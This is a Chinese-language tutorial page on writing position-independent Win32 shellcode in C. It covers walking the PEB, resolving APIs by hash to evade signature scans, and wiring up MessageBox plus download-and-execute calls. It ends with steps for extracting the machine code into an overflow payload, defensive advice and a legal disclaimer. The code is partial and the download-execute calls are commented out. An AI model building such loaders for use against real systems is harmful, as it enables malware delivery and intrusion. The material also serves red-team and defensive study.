首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

Windows x86 Shellcode 編寫實戰:C 語言實現免注入彈窗/下載/執行

     編輯:關於C語言

前言

Shellcode 是利用漏洞執行的位置無關機器碼。本文展示如何在 MSVC 6.0 環境下,純 C 語言編寫 Win32 Shellcode,實現動態解析 API 地址(Hash 法)、載入 DLL、彈出 MessageBox、下載檔案並執行,適合安全研究與紅隊演練參考。

核心技術點

  1. 位置無關代碼 (PIC):不依賴固定地址,透過 `call $+5` / `pop` 取得當前 EIP。
  2. API Hashing:不儲存字串,改用預計算 Hash 比對導出表,規避靜態特徵掃描。
  3. PEB 遍歷:從 `fs:[0x30]` 獲取 PEB → `Ldr` → `InLoadOrderModuleList` 找 `kernel32.dll` 基址。
  4. 導出表解析:手動走 PE 結構(`IMAGE_EXPORT_DIRECTORY`)查找 `LoadLibraryA`、`GetProcAddress`。
  5. 結構體封裝:將解析出的函數指標集中存放,後續業務邏輯像呼叫普通函數一樣呼叫。

關鍵代碼片段

1. Hash 計算與常數

#define KERNEL32_HASH            0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH  0x000d5786
#define KERNEL32_GETPROCADDRESS_HASH 0x00348bfa

// 簡易 Hash:大小寫不敏感,逐字元 rotate+add
DWORD HashString(LPCSTR str) {
    DWORD h = 0;
    while (*str) {
        h = (h << 1) + (tolower(*str++) | 0x60);
    }
    return h;
}

2. 從 PEB 解析 Kernel32 基址並取得關鍵 API

// 內嵌組語實現 ResolvFuncAddr(略,見完整代碼)
// 關鍵步驟:
// 1. fs:[0x30] -> PEB
// 2. PEB->Ldr->InLoadOrderModuleList 遍歷模組
// 3. 比對模組名 Hash 找到 kernel32.dll
// 4. 解析其 Export Directory 找 LoadLibraryA / GetProcAddress
// 5. 透過它們載入 user32.dll、urlmon.dll、shell32.dll 並取業務 API

3. 業務邏輯封裝

typedef struct {
    pLoadLibraryA     fLoadLibraryA;
    pGetProcAddressA  fGetProcAddressA;
    HMODULE hUser32, hUrlmon, hShell32;
    pMessageBoxA      fMessageBoxA;
    pShellExecuteA    fShellExecuteA;
    pURLDownloadToFileA fURLDownloadToFile;
} ShellCodeInfo;

void LoadShellcode(ShellCodeInfo *sc) {
    sc->fMessageBoxA(NULL, "Hello Shellcode!", "Cryin", MB_OK);
    // sc->fURLDownloadToFile(NULL, url, savepath, 0, NULL);
    // sc->fShellExecuteA(NULL, "open", savepath, NULL, NULL, SW_SHOW);
}

4. 入口點與提取

void ShellCodeStart(void) {
    __asm { call ShellcodeEntry; ret; }
}

void ShellcodeEntry() {
    ShellCodeInfo sci = {0};
    ResolvAddr(&sci.fLoadLibraryA, &sci.fGetProcAddressA);
    sci.hUser32  = sci.fLoadLibraryA("User32.dll");
    sci.hUrlmon  = sci.fLoadLibraryA("Urlmon.dll");
    sci.hShell32 = sci.fLoadLibraryA("Shell32.dll");

    sci.fMessageBoxA = (pMessageBoxA)sci.fGetProcAddressA(sci.hUser32, "MessageBoxA");
    // sci.fShellExecuteA = ...
    // sci.fURLDownloadToFile = ...

    LoadShellcode(&sci);
}

int main() {
    ShellcodeEntry();  // 測試邏輯
    // 實際提取:用 WinHex 依據 (PDWORD)main - (PDWORD)ShellCodeStart 截取機器碼
    return 0;
}

編譯與提取流程

  1. MSVC 6.0 建立 Win32 Console Application,貼上代碼。
  2. Release 模式編譯,關閉緩衝區檢查 `/GS-`、關閉優化 `/Od` 以保持布局穩定。
  3. 用 WinHex / C32Asm 開啟產生的 `.exe`,定位 `ShellCodeStart` 至 `main` 之間的機器碼,複製儲存為 `shellcode.bin`。
  4. 測試:將 shellcode 寫入漏洞利用載荷(如緩衝區溢出的 `buf`),驗證彈窗/下載/執行行為。

防禦與檢測視角

  • EDR/EDR:行為監控(`LoadLibrary` + `GetProcAddress` 高頻調用)、記憶體掃描(RWX 頁面)、API Hook 攔截。
  • 緩解措施:DEP (NX)、ASLR、CFG、ACG、任意代碼保護 (ACG/ CET)、Shellcode 特徵庫匹配。
  • 藍隊建議:啟用 `AppLocker`/`WDAC` 限制非簽名代碼執行、部署記憶體掃描器、監控異常 `CreateRemoteThread`/`VirtualAllocEx`。
  • 法律與道德聲明

    本文代碼僅供授權環境下的安全研究、滲透測試、教學演示使用。未經授權在生產系統執行 Shellcode 屬非法行為,嚴禁用於惡意攻擊。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved